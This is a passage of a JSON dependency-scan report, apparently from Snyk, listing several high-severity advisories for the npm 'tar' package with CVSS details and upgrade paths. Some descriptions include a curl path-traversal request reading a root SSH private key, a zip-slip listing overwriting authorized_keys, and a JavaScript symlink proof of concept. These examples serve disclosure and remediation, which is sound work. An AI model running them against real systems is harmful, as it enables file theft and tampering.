"7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": 